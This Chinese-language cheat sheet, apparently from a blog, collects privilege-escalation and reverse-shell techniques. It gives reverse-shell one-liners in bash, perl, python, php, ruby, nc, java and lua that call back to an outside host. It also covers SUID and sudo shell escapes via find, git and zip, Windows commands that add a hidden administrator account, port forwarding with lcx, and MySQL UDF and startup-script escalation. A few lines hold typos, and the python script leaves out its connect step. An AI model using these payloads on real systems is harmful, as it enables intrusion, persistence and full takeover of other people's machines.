提权以及反弹shell⼀些⽅法
提权以及反弹shell
netcat反弹shell
kali中使⽤nc(netcat)进⾏监听⽤法 : nv -lvvp 2333(端⼝号)
靶机中使⽤ bash -c 'bash -i >&/dev/tcp/192.168.1.1/2333 0>&1' 同样可以写成⼀句话⽊马进⾏反弹shell。
命令提权
1、使⽤suid提权,到⼀个属于root的具有s权限的⽂件;s是提权符
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
例如:在DC-1中,⾸先touch新建⼀个⽂件,然后执⾏
touch abcd
find abcd -exec whoami \;
find / -name abcd -exec "/bin/sh" \; #分号需要转义,find以分号结尾
具有提权功能的Linux可执⾏⽂件包括:
nmap
vim
find
bash
more
less
shell vim命令nano
cp
python反弹shell
#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
其他⼀些⽅法
#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' #python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
#nc版本:
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
8888|/bin/sh| 9999
#java版本
r = Runtime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
#lua
lua -e "require('socket');require('os');p();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
git提权
sudo -l 查看具有sudo执⾏权限的命令
sudo git -p help或者 sudo git help config
!/bin/bash
zip提权
touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
tar提权
收集信息:
内外⽹
服务器系统和版本位数
服务器的补丁情况
服务器的安装软件情况
服务器的防护软件情况
端⼝情况
⽀持脚本情况
信息收集常⽤命令:
Windows:
ipconfig /all
net user
netstat -ano
ver
systeminfo
tasklist /svc
taskkill -PID pid号
taskkill / /f
net user test 123456 /add
net localgroup administrators test /add
whoami
CMD⽆法执⾏
1、防护软件拦截
2、CMD被降权
3、组件被删除
可读写⽬录上传,将执⾏的路径替换成上传的路径
查3389端⼝
1、注册表读取
2、⼯具扫描
3、命令探针
端⼝转发
lcx
⽹站服务器是内⽹IP:192.168.2.3
外⽹服务器IP是:192.168.80.151
在内⽹服务器上执⾏的lcx命令是: -slave 192.168.80.151 51 192.168.2.3 3389在外⽹服务器上执⾏的lcx命令是: -listen 51 3389
数据库提权
MSSQL提权:安装组件--->开启3389---->创建⽤户------>提升权限------>完成
Mysql提权:
1、udf提权
获取到对⽅数据库⽤户root的账号密码
查看⽹站源码⾥⾯数据库配置⽂件(common,config.php,common.inc.php,data)
查看数据库的配置⽂件
暴⼒破解、mysql密码破解、3306端⼝⼊侵
udf提权原理:
通过root权限导出udf.dll到系统⽬录下,可以通过udf.dll调⽤执⾏cmd
导出到\lib/plugin\安装⽬录下
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user test 123456 /add');
select cmdshell('net localgroup administrators test /add');
drop function cmdshell //删除函数
2、启动项提权
1、查看我们进⼊数据库中有什么表
show tables;
默认情况下,test中没有任何表的存在
关键部分:
2、在test数据库下创建⼀个新的表
create table a(cmd text);
表名为a,字段名为cmd,为text⽂本
3、在表中插⼊数据
insert into a values ("set wshshell=createobject(""wscript.shell"")");
insert into a values ("a=wshshell.run("" /c net user test 123456 /add"",0)");
insert into a values ("b=wshshell.run("" /c net localgroup Administrators test /add"",0)")
双引号和括号以及后⾯的0⼀定要输⼊,⽤这三条命令建⽴⼀个vbs的脚本程序!
4、查看数据表
select * form a;
5、输出表为⼀个vbs的脚本⽂件
select * from a into outfile "c://开机菜单//启动//a.vbs";
6、重启
3、mof提权
4、反连端⼝提权
Windows提权:
开启3389
使⽤批处理⽂件开3389
使⽤sql语句开3389
使⽤exe开3389
使⽤vb开3389
使⽤wireshark或cain嗅探3389获取账号名和密码
Linux提权:
uname -r 查看内核版本信息到对应版本的exp
上传----编译---运⾏----ok
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论